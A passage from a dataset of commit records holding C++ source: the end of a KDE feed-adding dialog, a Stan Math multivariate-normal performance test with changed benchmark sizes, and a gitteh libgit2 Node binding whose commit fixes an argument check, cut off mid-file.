SLOT(fetchDiscovery(Feed *)) );\n\n    f->fetch(true);\n}\n\nvoid AddFeedDialog::fetchCompleted(Feed *f)\n{\n   feedTitle=f->title();\n   Archive::save(f);\n   KDialogBase::slotOk();\n}\n\nvoid AddFeedDialog::fetchError(Feed *)\n{\n    KMessageBox::error(this, i18n(\"Feed not found from %1.\").arg(feedURL));\n    KDialogBase::slotCancel();\n}\n\nvoid AddFeedDialog::fetchDiscovery(Feed *f)\n{\n\twidget->statusLabel->setText( i18n(\"Feed found, downloading...\") );\n    feedURL=f->xmlUrl();\n}\n\n#include \"addfeeddialog.moc\"\n<|endoftext|>"}
{"text":"<commit_before>#include <stan\/math\/prim\/mat\/fun\/cholesky_decompose.hpp>\n#include <stan\/math\/rev\/mat.hpp>\n#include <gtest\/gtest.h>\n#include <test\/unit\/math\/rev\/mat\/util.hpp>\n\/\/ For speed comparisons\n#include <chrono>\n#include <test\/unit\/math\/rev\/mat\/prob\/multi_normal_cholesky_old.hpp>\n#include <stan\/math\/prim\/mat\/prob\/lkj_corr_cholesky_rng.hpp>\n#include <boost\/random\/mersenne_twister.hpp>\n\nusing Eigen::Dynamic;\nusing Eigen::Matrix;\nusing std::vector;\n\nTEST(ProbDistributionsMultiNormalCholesky, MultiNormalVar) {\n  using stan::math::var;\n  Matrix<var, Dynamic, 1> y(3, 1);\n  y << 2.0, -2.0, 11.0;\n  Matrix<var, Dynamic, 1> mu(3, 1);\n  mu << 1.0, -1.0, 3.0;\n  Matrix<var, Dynamic, Dynamic> Sigma(3, 3);\n  Sigma << 9.0, -3.0, 0.0, -3.0, 4.0, 0.0, 0.0, 0.0, 5.0;\n  Matrix<var, Dynamic, Dynamic> L = Sigma.llt().matrixL();\n  EXPECT_FLOAT_EQ(-11.73908,\n                  stan::math::multi_normal_cholesky_log(y, mu, L).val());\n}\n\nTEST(AgradRev, check_varis_on_stack) {\n  using stan::math::to_var;\n  Matrix<double, Dynamic, 1> y(3, 1);\n  y << 2.0, -2.0, 11.0;\n  Matrix<double, Dynamic, 1> mu(3, 1);\n  mu << 1.0, -1.0, 3.0;\n  Matrix<double, Dynamic, Dynamic> Sigma(3, 3);\n  Sigma << 9.0, -3.0, 0.0, -3.0, 4.0, 0.0, 0.0, 0.0, 5.0;\n  Matrix<double, Dynamic, Dynamic> L = Sigma.llt().matrixL();\n  test::check_varis_on_stack(stan::math::multi_normal_cholesky_log<true>(\n      to_var(y), to_var(mu), to_var(L)));\n  test::check_varis_on_stack(\n      stan::math::multi_normal_cholesky_log<true>(to_var(y), to_var(mu), L));\n  test::check_varis_on_stack(\n      stan::math::multi_normal_cholesky_log<true>(to_var(y), mu, to_var(L)));\n  test::check_varis_on_stack(\n      stan::math::multi_normal_cholesky_log<true>(to_var(y), mu, L));\n  test::check_varis_on_stack(\n      stan::math::multi_normal_cholesky_log<true>(y, to_var(mu), to_var(L)));\n  test::check_varis_on_stack(\n      stan::math::multi_normal_cholesky_log<true>(y, to_var(mu), L));\n  test::check_varis_on_stack(\n      stan::math::multi_normal_cholesky_log<true>(y, mu, to_var(L)));\n\n  test::check_varis_on_stack(stan::math::multi_normal_cholesky_log<false>(\n      to_var(y), to_var(mu), to_var(L)));\n  test::check_varis_on_stack(\n      stan::math::multi_normal_cholesky_log<false>(to_var(y), to_var(mu), L));\n  test::check_varis_on_stack(\n      stan::math::multi_normal_cholesky_log<false>(to_var(y), mu, to_var(L)));\n  test::check_varis_on_stack(\n      stan::math::multi_normal_cholesky_log<false>(to_var(y), mu, L));\n  test::check_varis_on_stack(\n      stan::math::multi_normal_cholesky_log<false>(y, to_var(mu), to_var(L)));\n  test::check_varis_on_stack(\n      stan::math::multi_normal_cholesky_log<false>(y, to_var(mu), L));\n  test::check_varis_on_stack(\n      stan::math::multi_normal_cholesky_log<false>(y, mu, to_var(L)));\n}\n\n\/\/  Here, we compare the speed of the new regression to that of one built from\n\/\/  existing primitives.\n\nTEST(ProbDistributionsMultiNormalCholesky, mvn_speed) {\n  using Eigen::Dynamic;\n  using Eigen::Matrix;\n  using stan::math::var;\n\n  typedef std::chrono::high_resolution_clock::time_point TimeVar;\n#define duration(a) \\\n  std::chrono::duration_cast<std::chrono::microseconds>(a).count()\n#define timeNow() std::chrono::high_resolution_clock::now()\n\n  const int R = 5000;\n  const int C = 200;\n\n  boost::random::mt19937 rng;\n\n  int T1 = 0;\n  int T2 = 0;\n  for (size_t testnumber = 0; testnumber < 30; testnumber++) {\n    std::vector<Matrix<double, Dynamic, 1>> Y_dbl;\n\n    for (size_t i = 0; i < R; i++) {\n      Matrix<double, Dynamic, 1> y_dbl = Eigen::VectorXd::Random(C);\n      Y_dbl.push_back(y_dbl);\n    }\n\n    Matrix<double, Dynamic, 1> mu_dbl\n        = Matrix<double, Dynamic, Dynamic>::Random(C, 1);\n\n    Matrix<double, Dynamic, 1> sigma_dbl\n        = Eigen::MatrixXd::Constant(C, 1, 0.01)\n          + Matrix<double, Dynamic, 1>::Random(C, 1).array().abs().matrix();\n    Matrix<double, Dynamic, Dynamic> L_Sigma_dbl\n        = sigma_dbl.asDiagonal()\n          * stan::math::lkj_corr_cholesky_rng(C, 1.0, rng);\n\n    Matrix<var, Dynamic, 1> mu_v1 = mu_dbl;\n    Matrix<var, Dynamic, Dynamic> L_Sigma_v1 = L_Sigma_dbl;\n    std::vector<Matrix<var, Dynamic, 1>> Y_v1;\n    for (size_t i = 0; i < R; i++) {\n      Y_v1.push_back(Y_dbl[i]);\n    }\n\n    TimeVar t1 = timeNow();\n\n    var lp1\n        = stan::math::multi_normal_cholesky_old_lpdf(Y_v1, mu_v1, L_Sigma_v1);\n    lp1.grad();\n\n    TimeVar t2 = timeNow();\n    stan::math::recover_memory();\n\n    Matrix<var, Dynamic, 1> mu_v2 = mu_dbl;\n    Matrix<var, Dynamic, Dynamic> L_Sigma_v2 = L_Sigma_dbl;\n    std::vector<Matrix<var, Dynamic, 1>> Y_v2;\n    for (size_t i = 0; i < R; i++) {\n      Y_v2.push_back(Y_dbl[i]);\n    }\n\n    TimeVar t3 = timeNow();\n\n    var lp2 = stan::math::multi_normal_cholesky_lpdf(Y_v2, mu_v2, L_Sigma_v2);\n    lp2.grad();\n\n    TimeVar t4 = timeNow();\n\n    stan::math::recover_memory();\n\n    T1 += duration(t2 - t1);\n    T2 += duration(t4 - t3);\n  }\n  std::cout << \"Existing Primitives:\" << std::endl\n            << T1 << std::endl\n            << \"New Primitives:\" << std::endl\n            << T2 << std::endl;\n}\n<commit_msg>change peformacne test<commit_after>#include <stan\/math\/prim\/mat\/fun\/cholesky_decompose.hpp>\n#include <stan\/math\/rev\/mat.hpp>\n#include <gtest\/gtest.h>\n#include <test\/unit\/math\/rev\/mat\/util.hpp>\n\/\/ For speed comparisons\n#include <chrono>\n#include <test\/unit\/math\/rev\/mat\/prob\/multi_normal_cholesky_old.hpp>\n#include <stan\/math\/prim\/mat\/prob\/lkj_corr_cholesky_rng.hpp>\n#include <boost\/random\/mersenne_twister.hpp>\n\nusing Eigen::Dynamic;\nusing Eigen::Matrix;\nusing std::vector;\n\nTEST(ProbDistributionsMultiNormalCholesky, MultiNormalVar) {\n  using stan::math::var;\n  Matrix<var, Dynamic, 1> y(3, 1);\n  y << 2.0, -2.0, 11.0;\n  Matrix<var, Dynamic, 1> mu(3, 1);\n  mu << 1.0, -1.0, 3.0;\n  Matrix<var, Dynamic, Dynamic> Sigma(3, 3);\n  Sigma << 9.0, -3.0, 0.0, -3.0, 4.0, 0.0, 0.0, 0.0, 5.0;\n  Matrix<var, Dynamic, Dynamic> L = Sigma.llt().matrixL();\n  EXPECT_FLOAT_EQ(-11.73908,\n                  stan::math::multi_normal_cholesky_log(y, mu, L).val());\n}\n\nTEST(AgradRev, check_varis_on_stack) {\n  using stan::math::to_var;\n  Matrix<double, Dynamic, 1> y(3, 1);\n  y << 2.0, -2.0, 11.0;\n  Matrix<double, Dynamic, 1> mu(3, 1);\n  mu << 1.0, -1.0, 3.0;\n  Matrix<double, Dynamic, Dynamic> Sigma(3, 3);\n  Sigma << 9.0, -3.0, 0.0, -3.0, 4.0, 0.0, 0.0, 0.0, 5.0;\n  Matrix<double, Dynamic, Dynamic> L = Sigma.llt().matrixL();\n  test::check_varis_on_stack(stan::math::multi_normal_cholesky_log<true>(\n      to_var(y), to_var(mu), to_var(L)));\n  test::check_varis_on_stack(\n      stan::math::multi_normal_cholesky_log<true>(to_var(y), to_var(mu), L));\n  test::check_varis_on_stack(\n      stan::math::multi_normal_cholesky_log<true>(to_var(y), mu, to_var(L)));\n  test::check_varis_on_stack(\n      stan::math::multi_normal_cholesky_log<true>(to_var(y), mu, L));\n  test::check_varis_on_stack(\n      stan::math::multi_normal_cholesky_log<true>(y, to_var(mu), to_var(L)));\n  test::check_varis_on_stack(\n      stan::math::multi_normal_cholesky_log<true>(y, to_var(mu), L));\n  test::check_varis_on_stack(\n      stan::math::multi_normal_cholesky_log<true>(y, mu, to_var(L)));\n\n  test::check_varis_on_stack(stan::math::multi_normal_cholesky_log<false>(\n      to_var(y), to_var(mu), to_var(L)));\n  test::check_varis_on_stack(\n      stan::math::multi_normal_cholesky_log<false>(to_var(y), to_var(mu), L));\n  test::check_varis_on_stack(\n      stan::math::multi_normal_cholesky_log<false>(to_var(y), mu, to_var(L)));\n  test::check_varis_on_stack(\n      stan::math::multi_normal_cholesky_log<false>(to_var(y), mu, L));\n  test::check_varis_on_stack(\n      stan::math::multi_normal_cholesky_log<false>(y, to_var(mu), to_var(L)));\n  test::check_varis_on_stack(\n      stan::math::multi_normal_cholesky_log<false>(y, to_var(mu), L));\n  test::check_varis_on_stack(\n      stan::math::multi_normal_cholesky_log<false>(y, mu, to_var(L)));\n}\n\n\/\/  Here, we compare the speed of the new regression to that of one built from\n\/\/  existing primitives.\n\nTEST(ProbDistributionsMultiNormalCholesky, mvn_speed) {\n  using Eigen::Dynamic;\n  using Eigen::Matrix;\n  using stan::math::var;\n\n  typedef std::chrono::high_resolution_clock::time_point TimeVar;\n#define duration(a) \\\n  std::chrono::duration_cast<std::chrono::microseconds>(a).count()\n#define timeNow() std::chrono::high_resolution_clock::now()\n\n  const int R = 1000;\n  const int C = 600;\n\n  boost::random::mt19937 rng;\n\n  int T1 = 0;\n  int T2 = 0;\n  for (size_t testnumber = 0; testnumber < 30; testnumber++) {\n    std::vector<Matrix<double, Dynamic, 1>> Y_dbl;\n\n    for (size_t i = 0; i < R; i++) {\n      Matrix<double, Dynamic, 1> y_dbl = Eigen::VectorXd::Random(C);\n      Y_dbl.push_back(y_dbl);\n    }\n\n    Matrix<double, Dynamic, 1> mu_dbl\n        = Matrix<double, Dynamic, Dynamic>::Random(C, 1);\n\n    Matrix<double, Dynamic, 1> sigma_dbl\n        = Eigen::MatrixXd::Constant(C, 1, 0.01)\n          + Matrix<double, Dynamic, 1>::Random(C, 1).array().abs().matrix();\n    Matrix<double, Dynamic, Dynamic> L_Sigma_dbl\n        = sigma_dbl.asDiagonal()\n          * stan::math::lkj_corr_cholesky_rng(C, 1.0, rng);\n\n    Matrix<var, Dynamic, 1> mu_v1 = mu_dbl;\n    Matrix<var, Dynamic, Dynamic> L_Sigma_v1 = L_Sigma_dbl;\n    std::vector<Matrix<var, Dynamic, 1>> Y_v1;\n    for (size_t i = 0; i < R; i++) {\n      Y_v1.push_back(Y_dbl[i]);\n    }\n\n    TimeVar t1 = timeNow();\n\n    var lp1\n        = stan::math::multi_normal_cholesky_old_lpdf(Y_v1, mu_v1, L_Sigma_v1);\n    lp1.grad();\n\n    TimeVar t2 = timeNow();\n    stan::math::recover_memory();\n\n    Matrix<var, Dynamic, 1> mu_v2 = mu_dbl;\n    Matrix<var, Dynamic, Dynamic> L_Sigma_v2 = L_Sigma_dbl;\n    std::vector<Matrix<var, Dynamic, 1>> Y_v2;\n    for (size_t i = 0; i < R; i++) {\n      Y_v2.push_back(Y_dbl[i]);\n    }\n\n    TimeVar t3 = timeNow();\n\n    var lp2 = stan::math::multi_normal_cholesky_lpdf(Y_v2, mu_v2, L_Sigma_v2);\n    lp2.grad();\n\n    TimeVar t4 = timeNow();\n\n    stan::math::recover_memory();\n\n    T1 += duration(t2 - t1);\n    T2 += duration(t4 - t3);\n  }\n  std::cout << \"Existing Primitives:\" << std::endl\n            << T1 << std::endl\n            << \"New Primitives:\" << std::endl\n            << T2 << std::endl;\n}\n<|endoftext|>"}
{"text":"<commit_before>\/*\n * The MIT License\n *\n * Copyright (c) 2010 Sam Day\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n *\/\n\n#include \"repository.h\"\n#include \"commit.h\"\n#include \"tree.h\"\n#include \"index.h\"\n#include \"tag.h\"\n#include \"rev_walker.h\"\n#include \"rawobj.h\"\n#include \"ref.h\"\n\nnamespace gitteh {\n\nPersistent<FunctionTemplate> Repository::constructor_template;\n\nvoid Repository::Init(Handle<Object> target) {\n\tHandleScope scope;\n\n\tLocal<FunctionTemplate> t = FunctionTemplate::New(New);\n\tconstructor_template = Persistent<FunctionTemplate>::New(t);\n\tconstructor_template->SetClassName(String::New(\"Repository\"));\n\tt->InstanceTemplate()->SetInternalFieldCount(1);\n\n\tNODE_SET_PROTOTYPE_METHOD(t, \"getCommit\", GetCommit);\n\tNODE_SET_PROTOTYPE_METHOD(t, \"getTree\", GetTree);\n\tNODE_SET_PROTOTYPE_METHOD(t, \"getTag\", GetTag);\n\tNODE_SET_PROTOTYPE_METHOD(t, \"getRawObject\", GetRawObject);\n\tNODE_SET_PROTOTYPE_METHOD(t, \"getReference\", GetReference);\n\n\tNODE_SET_PROTOTYPE_METHOD(t, \"createWalker\", CreateWalker);\n\tNODE_SET_PROTOTYPE_METHOD(t, \"createRawObject\", CreateRawObject);\n\tNODE_SET_PROTOTYPE_METHOD(t, \"createTag\", CreateTag);\n\tNODE_SET_PROTOTYPE_METHOD(t, \"createTree\", CreateTree);\n\tNODE_SET_PROTOTYPE_METHOD(t, \"createCommit\", CreateCommit);\n\tNODE_SET_PROTOTYPE_METHOD(t, \"createOidReference\", CreateOidRef);\n\tNODE_SET_PROTOTYPE_METHOD(t, \"createSymbolicReference\", CreateSymbolicRef);\n\n\tNODE_SET_PROTOTYPE_METHOD(t, \"exists\", Exists);\n\n\tt->InstanceTemplate()->SetAccessor(String::New(\"index\"), IndexGetter);\n\n\ttarget->Set(String::New(\"Repository\"), t->GetFunction());\n}\n\nHandle<Value> Repository::New(const Arguments& args) {\n\tHandleScope scope;\n\n\tREQ_ARGS(1);\n\tREQ_STR_ARG(0, path);\n\n\tRepository *repo = new Repository();\n\n\tif(int result = git_repository_open(&repo->repo_, *path) != GIT_SUCCESS) {\n\t\tHandle<Value> ex = Exception::Error(String::New(\"Git error.\"));\n\t\treturn ThrowException(ex);\n\t}\n\n\trepo->path_ = *path;\n\n\targs.This()->Set(String::New(\"path\"), String::New(repo->path_), ReadOnly);\n\n\trepo->odb_ = git_repository_database(repo->repo_);\n\n\trepo->Wrap(args.This());\n\treturn args.This();\n}\n\nHandle<Value> Repository::GetCommit(const Arguments& args) {\n\tHandleScope scope;\n\n\tREQ_ARGS(1);\n\tREQ_OID_ARG(0, commitOid);\n\n\tRepository *repo = ObjectWrap::Unwrap<Repository>(args.This());\n\n\tgit_commit* commit;\n\tif(git_commit_lookup(&commit, repo->repo_, &commitOid) != GIT_SUCCESS) {\n\t\t\/\/ TODO: error code handling.\n\t\treturn scope.Close(Null());\n\t}\n\n\tCommit *commitObject = repo->wrapCommit(commit);\n\treturn scope.Close(commitObject->handle_);\n}\n\nHandle<Value> Repository::GetTree(const Arguments& args) {\n\tHandleScope scope;\n\n\tREQ_ARGS(1);\n\tREQ_OID_ARG(0, treeOid);\n\n\tRepository *repo = ObjectWrap::Unwrap<Repository>(args.This());\n\n\tgit_tree *tree;\n\tif(git_tree_lookup(&tree, repo->repo_, &treeOid) != GIT_SUCCESS) {\n\t\treturn scope.Close(Null());\n\t}\n\n\tTree *treeObject = repo->wrapTree(tree);\n\treturn scope.Close(treeObject->handle_);\n}\n\nHandle<Value> Repository::GetTag(const Arguments& args) {\n\tHandleScope scope;\n\n\tREQ_ARGS(1);\n\tREQ_OID_ARG(0, tagOid);\n\n\tRepository *repo = ObjectWrap::Unwrap<Repository>(args.This());\n\n\tgit_tag *tag;\n\tint res = git_tag_lookup(&tag, repo->repo_, &tagOid);\n\tif(res != GIT_SUCCESS)\n\t\tTHROW_GIT_ERROR(\"Couldn't get tag.\", res);\n\n\tTag *tagObj = repo->wrapTag(tag);\n\treturn scope.Close(tagObj->handle_);\n}\n\nHandle<Value> Repository::GetRawObject(const Arguments& args) {\n\tHandleScope scope;\n\n\tRepository *repo = ObjectWrap::Unwrap<Repository>(args.This());\n\n\tREQ_ARGS(1);\n\tREQ_OID_ARG(0, oid);\n\n\tgit_rawobj *obj = new git_rawobj;\n\tint res = git_odb_read(obj, repo->odb_, &oid);\n\tif(res != GIT_SUCCESS) {\n\t\tTHROW_GIT_ERROR(\"Couldn't load raw object.\", res);\n\t}\n\n\tLocal<Value> arg = External::New(obj);\n\tPersistent<Object> result(RawObject::constructor_template->GetFunction()->NewInstance(1, &arg));\n\treturn scope.Close(result);\n}\n\nHandle<Value> Repository::CreateRawObject(const Arguments& args) {\n\tHandleScope scope;\n\n\tRepository *repo = ObjectWrap::Unwrap<Repository>(args.This());\n\n\t\/\/ Initialize a new rawobj.\n\tgit_rawobj *rawObj = new git_rawobj;\n\trawObj->len = 0;\n\trawObj->type = GIT_OBJ_BAD;\n\n\tHandle<Value> constructorArgs[1] = { External::New(rawObj) };\n\tHandle<Object> jsObject = RawObject::constructor_template->GetFunction()->NewInstance(1, constructorArgs);\n\n\tRawObject *rawObjObj = ObjectWrap::Unwrap<RawObject>(jsObject);\n\trawObjObj->repository_ = repo;\n\treturn scope.Close(jsObject);\n}\n\nHandle<Value> Repository::CreateWalker(const Arguments& args) {\n\tHandleScope scope;\n\n\tRepository *repo = ObjectWrap::Unwrap<Repository>(args.This());\n\n\tgit_revwalk *walker;\n\tint res = git_revwalk_new(&walker, repo->repo_);\n\tif(res != GIT_SUCCESS) {\n\t\tTHROW_GIT_ERROR(\"Couldn't create revision walker\", res);\n\t}\n\n\tHandle<Value> constructorArgs[2] = { External::New(walker), External::New(repo) };\n\tHandle<Object> instance = RevWalker::constructor_template->GetFunction()->NewInstance(2, constructorArgs);\n\t\n\tRevWalker *walkerObject = ObjectWrap::Unwrap<RevWalker>(instance);\n\treturn scope.Close(walkerObject->handle_);\n}\n\nHandle<Value> Repository::IndexGetter(Local<String>, const AccessorInfo& info) {\n\tHandleScope scope;\n\n\tRepository *repo = ObjectWrap::Unwrap<Repository>(info.This());\n\tif(repo->index_ == NULL) {\n\t\tgit_index *index;\n\t\tint result = git_repository_index(&index, repo->repo_);\n\t\tif(result == GIT_EBAREINDEX) {\n\t\t\tgit_index_open_bare(&index, repo->path_);\n\t\t}\n\n\t\tHandle<Value> arg = External::New(index);\n\t\tHandle<Object> instance = Index::constructor_template->GetFunction()->NewInstance(1, &arg);\n\t\trepo->index_ = ObjectWrap::Unwrap<Index>(instance);\n\t}\n\n\treturn repo->index_->handle_;\n}\n\nHandle<Value> Repository::CreateTag(const Arguments& args) {\n\tHandleScope scope;\n\tRepository *repo = ObjectWrap::Unwrap<Repository>(args.This());\n\n\tgit_tag *tag;\n\tint res = git_tag_new(&tag, repo->repo_);\n\tif(res != GIT_SUCCESS)\n\t\tTHROW_GIT_ERROR(\"Couldn't create new tag.\", res);\n\n\tTag *tagObject = repo->wrapTag(tag);\n\treturn scope.Close(tagObject->handle_);\n}\n\nHandle<Value> Repository::CreateTree(const Arguments& args) {\n\tHandleScope scope;\n\n\tRepository *repo = ObjectWrap::Unwrap<Repository>(args.This());\n\n\tgit_tree *tree;\n\tint res = git_tree_new(&tree, repo->repo_);\n\tif(res != GIT_SUCCESS)\n\t\tTHROW_GIT_ERROR(\"Couldn't create tree.\", res);\n\n\tTree *treeObject = repo->wrapTree(tree);\n\treturn treeObject->handle_;\n}\n\nHandle<Value> Repository::CreateCommit(const Arguments& args) {\n\tHandleScope scope;\n\n\tRepository *repo = ObjectWrap::Unwrap<Repository>(args.This());\n\n\tgit_commit *commit;\n\tint result = git_commit_new(&commit, repo->repo_);\n\n\tif(result != GIT_SUCCESS) {\n\t\t\/\/ TODO: error handling.\n\t\treturn Null();\n\t}\n\n\tCommit *commitObject = repo->wrapCommit(commit);\n\treturn scope.Close(commitObject->handle_);\n}\n\nHandle<Value> Repository::GetReference(const Arguments& args) {\n\tHandleScope scope;\n\tRepository *repo = ObjectWrap::Unwrap<Repository>(args.This());\n\n\tREQ_ARGS(1);\n\tREQ_STR_ARG(0, referenceName);\n\n\tgit_reference *reference;\n\tint result = git_reference_lookup(&reference, repo->repo_, *referenceName);\n\tif(result != GIT_SUCCESS)\n\t\tTHROW_GIT_ERROR(\"Failed to load ref.\", result);\n\n\tReference *refObj = repo->wrapReference(reference);\n\treturn scope.Close(refObj->handle_);\n}\n\nHandle<Value> Repository::CreateSymbolicRef(const Arguments& args) {\n\tHandleScope scope;\n\tRepository *repo = ObjectWrap::Unwrap<Repository>(args.This());\n\n\tREQ_ARGS(1);\n\tREQ_STR_ARG(0, nameArg);\n\tREQ_STR_ARG(1, targetArg);\n\n\tif(!nameArg.length()) {\n\t\tTHROW_ERROR(\"Please provide a name.\");\n\t}\n\n\tif(!targetArg.length()) {\n\t\tTHROW_ERROR(\"Please provide a target for the symbolic ref.\");\n\t}\n\n\tgit_reference *ref;\n\tint res = git_reference_create_symbolic(&ref, repo->repo_, *nameArg, *targetArg);\n\n\tif(res != GIT_SUCCESS) {\n\t\tTHROW_GIT_ERROR(\"Couldn't create reference.\", res);\n\t}\n\n\tReference *refObj = repo->wrapReference(ref);\n\treturn scope.Close(refObj->handle_);\n}\n\nHandle<Value> Repository::CreateOidRef(const Arguments& args) {\n\tHandleScope scope;\n\tRepository *repo = ObjectWrap::Unwrap<Repository>(args.This());\n\n\tREQ_ARGS(2);\n\tREQ_STR_ARG(0, nameArg);\n\tREQ_OID_ARG(1, oidArg);\n\n\tif(!nameArg.length()) {\n\t\tTHROW_ERROR(\"Please provide a name.\");\n\t}\n\n\tgit_reference *ref;\n\tint res = git_reference_create_oid(&ref, repo->repo_, *nameArg, &oidArg);\n\tif(res != GIT_SUCCESS) {\n\t\tTHROW_GIT_ERROR(\"Couldn't create reference.\", res);\n\t}\n\n\tReference *refObj = repo->wrapReference(ref);\n\treturn scope.Close(refObj->handle_);\n}\n\nHandle<Value> Repository::Exists(const Arguments& args) {\n\tHandleScope scope;\n\tRepository *repo = ObjectWrap::Unwrap<Repository>(args.This());\n\n\tREQ_ARGS(1);\n\tREQ_OID_ARG(0, objOid);\n\n\treturn Boolean::New(git_odb_exists(repo->odb_, &objOid));\n}\n\nRepository::~Repository() {\n\tclose();\n}\n\nvoid Repository::close() {\n\tif(repo_) {\n\t\tgit_repository_free(repo_);\n\t\trepo_ = NULL;\n\t}\n}\n\nCommit *Repository::wrapCommit(git_commit *commit) {\n\tCommit *commitObject;\n\tif(commitStore_.getObjectFor(commit, &commitObject)) {\n\t\t\/\/ Commit needs to know who it's daddy is.\n\t\tcommitObject->repository_ = this;\n\t}\n\n\treturn commitObject;\n}\n\nTree *Repository::wrapTree(git_tree *tree) {\n\tTree *treeObject;\n\tif(treeStore_.getObjectFor(tree, &treeObject)) {\n\t\ttreeObject->repository_ = this;\n\t}\n\n\treturn treeObject;\n}\n\nTag *Repository::wrapTag(git_tag *tag) {\n\tTag *tagObject;\n\tif(tagStore_.getObjectFor(tag, &tagObject)) {\n\t\ttagObject->repository_ = this;\n\t}\n\n\treturn tagObject;\n}\n\nReference *Repository::wrapReference(git_reference *ref) {\n\tReference *refObj;\n\tif(refStore_.getObjectFor(ref, &refObj)) {\n\t\trefObj->repository_ = this;\n\t}\n\t\n\treturn refObj;\n}\n\n} \/\/ namespace gitteh\n<commit_msg>Fixed arg count requirement in CreateSymbolicRef<commit_after>\/*\n * The MIT License\n *\n * Copyright (c) 2010 Sam Day\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n *\/\n\n#include \"repository.h\"\n#include \"commit.h\"\n#include \"tree.h\"\n#include \"index.h\"\n#include \"tag.h\"\n#include \"rev_walker.h\"\n#include \"rawobj.h\"\n#include \"ref.h\"\n\nnamespace gitteh {\n\nPersistent<FunctionTemplate> Repository::constructor_template;\n\nvoid Repository::Init(Handle<Object> target) {\n\tHandleScope scope;\n\n\tLocal<FunctionTemplate> t = FunctionTemplate::New(New);\n\tconstructor_template = Persistent<FunctionTemplate>::New(t);\n\tconstructor_template->SetClassName(String::New(\"Repository\"));\n\tt->InstanceTemplate()->SetInternalFieldCount(1);\n\n\tNODE_SET_PROTOTYPE_METHOD(t, \"getCommit\", GetCommit);\n\tNODE_SET_PROTOTYPE_METHOD(t, \"getTree\", GetTree);\n\tNODE_SET_PROTOTYPE_METHOD(t, \"getTag\", GetTag);\n\tNODE_SET_PROTOTYPE_METHOD(t, \"getRawObject\", GetRawObject);\n\tNODE_SET_PROTOTYPE_METHOD(t, \"getReference\", GetReference);\n\n\tNODE_SET_PROTOTYPE_METHOD(t, \"createWalker\", CreateWalker);\n\tNODE_SET_PROTOTYPE_METHOD(t, \"createRawObject\", CreateRawObject);\n\tNODE_SET_PROTOTYPE_METHOD(t, \"createTag\", CreateTag);\n\tNODE_SET_PROTOTYPE_METHOD(t, \"createTree\", CreateTree);\n\tNODE_SET_PROTOTYPE_METHOD(t, \"createCommit\", CreateCommit);\n\tNODE_SET_PROTOTYPE_METHOD(t, \"createOidReference\", CreateOidRef);\n\tNODE_SET_PROTOTYPE_METHOD(t, \"createSymbolicReference\", CreateSymbolicRef);\n\n\tNODE_SET_PROTOTYPE_METHOD(t, \"exists\", Exists);\n\n\tt->InstanceTemplate()->SetAccessor(String::New(\"index\"), IndexGetter);\n\n\ttarget->Set(String::New(\"Repository\"), t->GetFunction());\n}\n\nHandle<Value> Repository::New(const Arguments& args) {\n\tHandleScope scope;\n\n\tREQ_ARGS(1);\n\tREQ_STR_ARG(0, path);\n\n\tRepository *repo = new Repository();\n\n\tif(int result = git_repository_open(&repo->repo_, *path) != GIT_SUCCESS) {\n\t\tHandle<Value> ex = Exception::Error(String::New(\"Git error.\"));\n\t\treturn ThrowException(ex);\n\t}\n\n\trepo->path_ = *path;\n\n\targs.This()->Set(String::New(\"path\"), String::New(repo->path_), ReadOnly);\n\n\trepo->odb_ = git_repository_database(repo->repo_);\n\n\trepo->Wrap(args.This());\n\treturn args.This();\n}\n\nHandle<Value> Repository::GetCommit(const Arguments& args) {\n\tHandleScope scope;\n\n\tREQ_ARGS(1);\n\tREQ_OID_ARG(0, commitOid);\n\n\tRepository *repo = ObjectWrap::Unwrap<Repository>(args.This());\n\n\tgit_commit* commit;\n\tif(git_commit_lookup(&commit, repo->repo_, &commitOid) != GIT_SUCCESS) {\n\t\t\/\/ TODO: error code handling.\n\t\treturn scope.Close(Null());\n\t}\n\n\tCommit *commitObject = repo->wrapCommit(commit);\n\treturn scope.Close(commitObject->handle_);\n}\n\nHandle<Value> Repository::GetTree(const Arguments& args) {\n\tHandleScope scope;\n\n\tREQ_ARGS(1);\n\tREQ_OID_ARG(0, treeOid);\n\n\tRepository *repo = ObjectWrap::Unwrap<Repository>(args.This());\n\n\tgit_tree *tree;\n\tif(git_tree_lookup(&tree, repo->repo_, &treeOid) != GIT_SUCCESS) {\n\t\treturn scope.Close(Null());\n\t}\n\n\tTree *treeObject = repo->wrapTree(tree);\n\treturn scope.Close(treeObject->handle_);\n}\n\nHandle<Value> Repository::GetTag(const Arguments& args) {\n\tHandleScope 